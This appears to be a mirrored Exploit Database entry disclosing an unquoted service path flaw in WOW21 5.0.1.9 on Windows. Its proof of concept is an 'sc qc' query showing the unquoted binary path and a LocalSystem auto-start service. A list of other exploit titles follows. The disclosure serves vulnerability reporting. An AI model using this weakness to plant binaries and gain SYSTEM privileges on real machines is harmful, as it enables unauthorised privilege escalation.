WOW21 5.0.1.9 – ‘Service WOW21_Service’ Unquoted Service Path

Exploit Database
15 阅读

作者： Antonio Cuomo

日期： 2022-03-10
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/50818/

# Exploit Title: WOW21 5.0.1.9 - 'Service WOW21_Service' Unquoted Service Path
# Exploit Author: Antonio Cuomo (arkantolo)
# Exploit Date: 2022-03-09
# Vendor : ilwebmaster21
# Version : WOW21_Service 5.0.1.9
# Vendor Homepage :https://wow21.life/
# Tested on OS: Windows 10 Pro x64

#PoC :
==============

C:\>sc qc WOW21_Service
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: WOW21_Service
TIPO: 10WIN32_OWN_PROCESS
TIPO_AVVIO: 2 AUTO_START
CONTROLLO_ERRORE: 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files\WOW21\WOW21_Service.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : WOW21_Service
DIPENDENZE:
SERVICE_START_NAME : LocalSystem

last Exploits
WOW21 5.0.1.9 – ‘Service WOW21_Service’ Unquoted Service Path的更多信息

CloudMe Sync 1.10.9 – Buffer Overflow (SEH)(DEP Bypass)：
WebKitGTK 2.1.2 (Ubuntu 14.04) – Heap based Buffer Overflow：
Watermark Master 2.2.23 – ‘.wstyle’ Local Buffer Overflow (SEH)：
Microsoft Windows – Net-NTLMv2 Reflection DCOM/RPC (Metasploit)：
Android – Binder Driver Use-After-Free：
Sheed AntiVirus 2.3 – Unquoted Service Path Privilege Escalation：
Heroes of Might and Magic III – ‘.h3m’ Map file Buffer Overflow (Metasploit)：
VideoLAN VLC Media Player 1.1.6 – ‘MKV’ Memory Corruption (Metasploit)：